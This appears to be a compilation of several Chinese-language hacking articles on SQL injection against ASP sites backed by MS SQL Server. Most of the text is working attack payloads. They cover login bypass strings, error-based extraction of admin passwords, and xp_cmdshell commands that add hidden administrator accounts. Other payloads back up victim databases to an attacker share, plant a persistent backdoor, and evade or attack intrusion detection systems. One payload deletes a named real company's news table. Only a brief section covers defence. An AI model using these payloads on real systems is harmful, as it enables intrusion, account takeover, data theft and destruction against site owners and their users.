如何利用Sql 注入遍历目录 关于如何取得注入入口不再说了，前面的帖子都说得很详细了，我们就如何浏览全部目录和文件进行研究当System_user为"sa"时，具有全部权限，包括执行master.dbo.xp_cmdshell,如果这个存储过程没有改名或删除，我们可以利用它来遍历全部目录，执行如下：先创建一个临时表：temp '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 接下来：（1）我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中： 5';insert temp exec master.dbo.xp_availablemedia;-- 我们可以通过查询temp的内容来获得驱动器列表及相关信息（2）我们可以利用xp_subdirs获得子目录列表,并存入temp表中： 5';insert into temp(id) exec master.dbo.xp_subdirs 'c:';-- （3）我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 这样就可以成功的浏览到所有的目录（文件夹）列表：如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell： 5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:webindex.asp';-- 浏览temp就可以看到index.asp文件的内容了！ 当然，如果xp_cmshell能够执行，我们可以用它来完成： 5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:';-- 5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c: *.asp /s/a';-- 通过xp_cmdshell我们可以看到所有想看到的，包括W3svc 5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscripq C:InetpubAdminscripqsadsutil.vbs enum w3svc' 但是，如果不是Admin的权限，我们还可以使用 5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:';-- 如果大家还有什么好的方法欢迎与我讨论研究

SQL Injection技巧的演练收藏

原著: sk@scan-associates.net
出处: http://www.securiteam.com/
翻译人: demonalex
翻译人Email: demonalex_at_dark2s.org
+上 http://demonalex.cn.st / http://www.cnwill.com

摘要:
下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这种漏洞攻击的人了解该漏
洞的本质而写的。

详细资料:

1.0 绪论
当一台机器只开放了 80 端口(这里指的是提供HTTP服务)时，可能你的大多数漏洞扫描器都不能给到你很多

有价值的信息(漏洞信息)，倘若这台机器的管理员是经常为他的服务器打PATCH的话，我们只好把攻击的
矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种，这种攻击没有什么特殊的要求，只需要
对方提供正常的HTTP服务，且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理
程序(如ASP,JSP,PHP,CGI等等)的而进行。

这篇文章不是在为阁下介绍什么新“玩意”，SQL 注入攻击以前就一直广为流传着。我之所以现在才写这
篇文章是因为我想把我最近实验所得的某些经验与积累记录下来，希望能给予读者某些参考吧。你也可以
在“9.0 我从哪里可以得到更多相关资料？”的栏目中找到更多其他人所写的、关于 SQL 注入技巧的相关资
料。

1.1 什么是 SQL 注入？
这种攻击的要诀在于将 SQL 的查询/行为命令通过‘嵌入’的方式放入合法的 HTTP 提交请求中从而达到攻击
者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数，然后动态的构成 SQL 请
求发给数据库的。举个例子，当有某个用户需要通过网页上的用户登陆(用户身份验证)时，动态网页会将
该用户提交上来的用户名与密码加进 SQL 询问请求发给数据库，用于确认该用户提交的身份验证信息是否
有效。在 SQL 注入攻击的角度看来，这样可以使我们在发送 SQL 请求时通过修改用户名与/或密码值的‘领
域’区来达到攻击的目的。

1.2SQL 注入需要什么(工具等)呢？
一个(些)网页浏览器。

2.0 什么信息是你所需要找寻的呢？
首先你需要找到允许提交数据的页面，如:登陆页面、搜索页面、反馈页面、等等。有的时候，某些 HTML
页面会通过 POST 命令将所需要的参数传递给其他的 ASP 页面。所以，有的时候你不会在 URL 路径中看到相关
的参数。尽管如此，你仍可以通过查看 HTML 的源代码中的"FORM"标签来辨别是否有参数传递，相关的代码
如下:

```
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
```

在<FORM>与</FORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着 SQL 注入。

2.1 当你找不到有输入行为的页面时应该怎么办呢？
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL，如:
http://duck/index.asp?id=10

3.0 你应该如何测试这些缺陷是否存在呢？
首先先加入某些特殊的字符标记，输入如:
hi' or 1=1--
寻找一些登陆页面，在其登陆ID与密码输入处，或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试，你可以把该HTML网页从网站上下载至本地硬盘，修改其隐藏部分
的值，如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1 为什么使用的是' or 1=1--呢？
让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式，使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中，'category'是一个变量名，而'food'是赋予该变量的值。为了做到这些(链接成功)，
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的，变量值将会预先处理然后赋值于'v_cat'，也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果，在这个例子中也就是'food'了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了，现在如果我们要重新代入那条SQL请求的话，
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否

等于'food'。至于结尾
部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也
可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。
无论如何，如果对方不是一台SQL服务器(这里指的是MS SQL SERVER)，或者你不能使用简单的方法去忽
略最后的那个单引号的话，你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况，SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 如何在 SQL 注入请求中加入即时执行命令？
能够进行 SQL 注入的服务器通常都是一些疏于做系统性配置检查的机器，此时我们可以尝试使用 SQL 的命
令执行请求。默认的 MS SQL 服务器是运行在 SYSTEM 用户级别下的，这等同于系统管理员的执行与访问权
限。我们可以使用 MS SQL SERVER 的扩展储存过程(如 master..xp_cmdshell 等)来执行远程系统的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失败可以尝试一下使用"(双引号)代替'(单引号)。
上面例子中的第二个冒号代表一句 SQL 请求的结束(也代表了它后面紧跟着一条新 SQL 命令)。若要检验上
面这条 PING 命令是否成功，你可以在 10.10.1.2 这台机器上监听 ICMP 请求包，并确认它是否来自那台 SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台 SQL 服务器中得到 PING 请求的话，并在 SQL 请求的返回值中得到错误信息的话，有可能
是因为该 SQL 服务器的管理员限制了 WEB 用户访问这些储存过程了。

5.0 如何可以获取到我发的SQL请求的相关返回信息呢？
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION

_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0 如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢？
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的，如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数 10 之
后时，MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时，系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好，这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中，我们知道了第一个表名是“table1”。若要得到下一个表名，我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

admin_login' to a column of data type int.
/index.asp, line 5

6.1 如何找出表中的列名？
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了，我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若继续重复这样的操作，我们将可以获得余下所有的列名，如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2 如何找到我们需要的数据？
现在我们需要鉴别出一些比较重要的表与列，我们可以用相同的技巧询问数据库从而得到相关的信息。

现在让我们问问"admin_login"表的第一个用户名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后，问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
输出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3 如何获得数字串值？
在这里技术上表达的一种局限性。若要将数字(0-9 之间的数字)转换为正常的文本数据的话，我们将无法
得到我们所需要的错误提示信息。举个例子，我们现在要尝试得到帐号为"trinity"的密码，而它所对应
的密码为"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于，在与整数(这个例
子中为 10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了，SQL服务器将不会返回任何ODBC错误信息，因而我们是不可能得到这些
数字型数据的。
为了解决这个问题，我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在

ASCII中'+'等于 0x2b)。我
们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。
这样的话，即使我们得到
了数字串'31173'，它也会变成'31173 morpheus'。
在执行了convert()函数后，系统会尝试将'31173 morpheus'转换为整数型，SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
现在你可以知道'trinity'的密码是'31173'了吧。

7.0 如何在数据库中更新/插入数据？
当成功地收集到表中所有的列后，我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方，我们要修改帐号"neo"的密码:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一条新的记录:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0 如何避免被 SQL 注入攻击？
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符，过滤的对象包括:
-用户的输入
-提交的 URL 请求中的参数部分
-从 cookie 中得到的数据
至于数字值，将其转换为整数型之前必须有 SQL 语句声明，或者用 ISNUMERIC 确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程，如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

SQL 数据库的一些攻击

作者： 文章出处：网络卫士
网络安全焦点 Hectic

对于国内外的很多新闻，BBS 和电子商务网站都采用 ASP+SQL 设计，而写 ASP 的程序员很多（有很多刚刚毕业的），所以，ASP+SQL 的攻击成功率

也比较高。这类攻击方法与 NT 的版本和 SQL 的版本没有多大的关系，也没有相应的补丁，因为漏洞是程序员自己造成的，而且大多数讲解 ASP 编

程的书上，源代码例子就有这个漏洞存在，其实只是一些合法的 ASP 对 SQL 的请求，就留下后患无穷！
这种攻击方法最早源于'or'1'='1 的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec

sp_addlogin hax（在数据库内添加一个 hax 用户），但是这个方法的限制很大，首先 ASP 使用的 SQL Server 账号是个管理员，其次请求的提交变

量在整个 SQL 语句的最后，因为有一些程序员采用 SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库，那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成 SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个 SQL 语句在执行 sp_addlogin 的存储过程后有 AND 与判断存在，语法错误，你的 sp_addlogin 自然也不能正常运行了，因此试试看下面这个方

法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把 sp_addlogin 后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin 正常执行！
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样，你在他的数据库和系统内都留下了 hax 管理员账号了
当然，前提条件是 ASP 用管理员账号，所以虚拟空间大家就别试了，不会存在这个漏洞的。
以后我们会讨论，如果对方的 ASP 不是用 SQL 管理员账号，我们如何入侵，当

然也会涉及到 1433 端口的入侵
当然大家可以试试看在 id=2 后面加上一个'符号，主要看对方的 ASP 怎么写了

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页，有新闻内容，如下：
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵，报语法错误，select 123 错误，显而易见，天融新的ASP在newid变量后面用'号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈，我想只要表名猜对了，新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么？看看db_name()函数吧
打开你的query analyzer，看看print db_name() ，呵呵，当前的数据库名就出来了
以次类推，如下： declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
呵呵，他的当前数据库就备份到你的硬盘上了，接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙，打开ICMP和 139TCP和 445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大

一点的网站考虑性能，会吧 web 服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的 SQL Server 的位

置了
那么，如果对方 ASP 没有 SQL 管理员权限，我们就不能调用 xp_cmdshell 了，该怎么办？
别着急，试试看这个 news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的 IP 你的共享目录 bak.dat'

,name='test';--
呵呵，你的防火墙该发出警告了，有人连接你的 445 或 139(win9 端口了，这样，对方的 SQL 的 ip 一样也可以暴露
那么如果对方连某个数据库的 owner 也不是的话，我们该怎么办？下次我会告诉大家一个更好的办法。
其实 backuo database 到你的硬盘还是有点夸张了，如果对方数据库很庞大，你又是拨号上网，呵呵，劝你别试了，很难成功传输的
下次我们还会谈到如何骗过 IDS 执行 ASP+SQL 入侵

目前有些好的 IDS 已经开始监视 xp_cmdshell 这些关键字了
好吧，同志们下次见

所有以上 url 希望大家通过 vbscripq 提交，因为浏览器的地址栏会屏蔽一些特殊字符，这样你的命令就不能完整传输了
window.locetion.herf=URL

补充：这个问题以前载网上也提出来过，但是只是一些简单的 xp_cmdshell 调用限制很大，其实这里面还有很多值得深入的地方比如

www.guosen.com.cn。国信证卷就有这个问题，而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了，字符串会被过滤，但是

我尝试了，用 sql 的异类请求仍然可以在对方的机器上开启 telnet 服务和 administrators 组的账号！由于对方防火墙很严 checkpoint 数据报进出

都只开放 80 端口因此，要想获得他的数据库结构比较困难了，但是还是有办法可以做到的：P
顺便提醒大家注意一下关于 sqloledb,db_name,openrowset,opendatasource 这些系统函数当 asp 的 sqlserver 账号只是一个普通用户时，他们会

很有用的！

sql server 新漏洞和一些突破口

下面我要谈到一些 sqlserver 新的 bug，虽然本人经过长时间的努力，当然也有点幸运的成分在内,才得以发现，不敢一个人独享，拿出来请大家

鉴别,当然很有可能有些高手早已知道了，毕竟我接触 sqlserver 的时间不到 1 年：P

1。关于 openrowset 和 opendatasource
可能这个技巧早有人已经会了，就是利用 openrowset 发送本地命令
通常我们的用法是（包括 MSDN 的列子）如下
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见（即使从字面意义上看)openrowset 只是作为一个快捷的远程数据库访问，它必须跟在 select 后面，也就是说需要返回一个 recordset
那么我们能不能利用它调用 xp_cmdshell 呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off exec master.dbo.xp_cmdshell "dir c:"')
必须加上 set fmtonly off 用来屏蔽默认的只返回列信息的设置，这样 xp_cmdshell 返回的 output 集合就会提交给前面的 select 显示，如果采用

默认设置，会返回空集合导致 select 出错，命令也就无法执行了。
那么如果我们要调用 sp_addlogin 呢，他不会像 xp_cmdshell 返回任何集合的，我们就不能再依靠 fmtonly 设置了，可以如下操作
select * from openrowset('sqloledb','server';'sa';'','select "OK!" exec master.dbo.sp_addlogin Hectic')
这样，命令至少会返回 select 'OK!'的集合，你的机器商会显示 OK!，同时对方的数据库内也会增加一个 Hectic 的账号，也就是说，我们利用

select 'OK!'的返回集合欺骗了本地的 select 请求，是命令能够正常执行，通理 sp_addsrvrolemember 和 opendatasource 也可以如此操作！至于

这个方法真正的用处，大家慢慢想吧：P

2。关于 msdasql 两次请求的问题
不知道大家有没有试过用 msdasql 连接远程数据库，当然这个 api 必须是 sqlserver 的管理员才可以调用，那么如下
select * from openrowset('msdasql','driver={sql

server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from

table2')
当 table1 和 table2 的字段数目不相同时，你会发现对方的 sqlserver 崩溃了，连本地连接都会失败，而系统资源占用一切正常，用 pskill 杀死

sqlserver 进程后，如果不重启机器，sqlserver 要么无法正常启动，要么时常出现非法操作，我也只是碰巧找到这个 bug 的，具体原因我还没有

摸透，而且很奇怪的是这个现象只出现在 msdasql 上，sqloledb 就没有这个问题，看来问题不是在于请求集合数目和返回集合数目不匹配上，因

该还是 msdasql 本身的问题，具体原因，大家一起慢慢研究吧：P

3。可怕的后门
以前在网上看到有人说在 sqlserver 上留后门可以通过添加 triger,jobs 或改写 sp_addlogin 和 sp_addsrvrolemember 做到，这些方法当然可行，

但是很容易会被发现。不知道大家有没有想过 sqloledb 的本地连接映射。呵呵，比如你在对方的 sqlserver 上用 sqlserver 的管理员账号执行如

下的命令
select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell

"dir c:'")
这样在对方的 sqlserver 上建立了一个名为 Hectic 的本地连接映射，只要 sqlserver 不重启，这个映射会一直存在下去，至少我现在还不知道如

何发现别人放置的连接映射
，好了，以上的命令运行过后，你会发现哪怕是 sqlserver 没有任何权限的 guest 用户，运行以上这条命令也一样能通过！而且权限是

localsystem！（默认安装）呵呵！这个方法可以用来在以被入侵过获得管理员权限的 sqlserver 上留下一个后门了。

以上的方法在 sqlserver2000+sqlserver2000SP1 上通过！

*另外还有一个猜测，不知道大家有没有注意过 windows 默认附带的两个 dsn，一个是 localserver 一个是 msqi，这两个在建立的时候是本地管理

员账号连接 sqlserver 的，如果对方的 sqlserver 是通过自定义的 power user 启动，那么 sa 的权限就和 power user 一样，很难有所大作为，但是

我们通过如下的命令
select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell "dir

c:'")应该可以利用 localserver 的管理员账号连接本地 sqlserver 然后再以这个账号的权限执行本地命令了，这是后我想应该能突破 sa 那个

power user 权限了。现在的问题是 sqloledb 无法调用 dsn 连接，而 msdasql 非管理员不让调用，所以我现在正在寻找 guest 调用 msdasql 的方法，

如果有人知道这个 bug 如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被 guest 利用，将会是一个很严重的安全漏洞。

因为我们前面提到的任何 sql 语句都可以提交给对方的 asp 去帮我们执行：P

利用 t-sql 骗过 ids 或攻击 ids

现在的 ids 已经变得越来越聪明了
有的 ids 加入了 xp_cmdshell sp_addlogin 的监视
但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉
先说说欺骗 ids:
ids 既然监视 xp_cmdshell 关键字，那么我们可以这么做
declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:'
这个代码象性大家都能看明白，还有 xp_cmdshell 作为一个 store procedure 在

master 库内有一个 id 号，固定的，我们也可以这么做
假设这个 id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:'
当然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:'
这种做法排列组合，ids 根本不可能做的到完全监视
同理，sp_addlogin 也可以这么做
再说说攻击 ids:
因为 ids 数据量很大，日至通常备份到常规数据库，比如 sql server
如果用古老的 recordset.addnew 做法，会严重影响 ids 的性能，因为通过 ado 做 t-sql 请求，不但效率高，而且有一部分工作可以交给 sql server

去做
通常程序会这么写
insert table values ('日至内容',...)
那么我么想想看，如果用
temp') exec xp_cmdshell 'dir c:' --
提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:' -- ')
这样，xp_cmdshell 就可以在 ids 的数据库运行了 ：）
当然 ids 是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成%20
因此，%20 会被提交到 sql server，这样你的命令就无法执行了
唯一的办法就是
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:'/**/--')
用/**/代替空格做间隔符，这样你的 t-sql 才能在 ids 的数据库内执行
淡然也可以用其他语句，可以破坏，备份 ids 的数据库到你的共享目录
呵呵
其实这种方法的原理和攻击 asp 是一样的，只是把空格变成了/**/
本来 asp 是 select 语句，那么用'就可以屏蔽
现在 ids 用 insert 语句，那么用')屏蔽

好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是 query analyzer《SQL 自带工具》了。

SQL Injection攻击技术

来源： 作者： 作者：JSW（监视我）
FROM：http://jsw.china12e.com

前言：
这篇文章是我很久以前的作品了，写完后才知道isno也写了一篇。当我看过isno的那篇后发现了我的文章错了好多个地方，后来我对这篇文章做了一些修改，希望对读者能够有所帮助。
【什么是SQL Injection】
SQL Injection应该称为SQL指令植入式攻击，主要属于Input Validation的问题，它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。
【SQL Injection的原理】
一般输入帐号密码的网站的SQL语法为
select * from member where UID =’ "& request("ID") &" ’ nAnd Passwd =’ "& request("Pwd") & " ’
如果正常使用者输入帐号pl，密码 1234
那么程序便会执行select * from member where UID =’pl’ And Passwd=’1234’
输入的帐号和密码等信息会取代ASP(or PHP、JSP)中的变量，並由两个单引号(’ ’)所包住。那么，如果攻击者已知系统中已有一個Admin的管理者帐号，则输入Admin ’-- ，即可不需输入密码而进入资料库，相应的语句为
select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’
（注：“－”符号后的任何叙述都会被当作注解，也就是说以上例子的And子句将被SQL视为说明用）
【检测漏洞】
对大多数SQL服务器来说，我们并不知道对方程序的具体代码，而靠任何扫描器也不可能发现SQL injection的漏洞，这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“——”，所以我们可以在URL后面加上以上符合，或者在表单中的文本框中加入。比如：
http://jsw/new.asp?id=1’
http://jsw/new.asp?id=1;
通过页面返回的信息，判断是否存在SQL injection的漏洞，这种方法只是简单的通过字符过滤来判断，根据IIS的配置不同，返回的信息也可能不同。有时显示
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_id’ to a column of data type int.
/index.asp, line 5
也可能是“http 500-内部服务器错误”，或者显示正常信息，判断的根据主要是经验啦，因为现在好多服务器的没有出错回显了的。

【执行系统命令】
SQL injection攻击方法最早源于’or’1’=’1 的漏洞（我们暂且称其为漏洞），这个漏洞的原理我想大家因该都知道了，那么随之而来的便是;exec sp_addlogin hax（在数据库内添加一个hax用户），但是这个方法的限制很大，首先ASP使用的SQL Server账号是个管理员，其次请求的提交变量在整个SQL语句的最后，因为有一些程序员采用
SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库，那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax

变成
SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=AND
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在，语法错误，你的sp_addlogin自然也不能正常运行了，因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释，这样就不会有语法错误了，sp_addlogin正常执行！
如何判断我们的命令是否成功执行了呢？我们先装一个_blank">防火墙，打开ICMP和 139TCP和 445TCP的警告提示然后提交
news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果_blank">防火墙提示有人ping你，那么因该可以肯定对方的ASP用的是SQL的管理员权限，同时也确定了对方的SQL Server的准确位置，因为很多大一点的网站考虑性能，会吧web服务和数据库分开，当对方大上了补丁看不到源代码时，我想只有这个方法能很快的定位对方的SQL Server的位置了
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:*
/times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax
/add';--
这样，你在他的数据库和系统内都留下了hax管理员账号了。
当然大家可以试试看在id=2 后面加上一个'符号，主要看对方的ASP怎么写了。
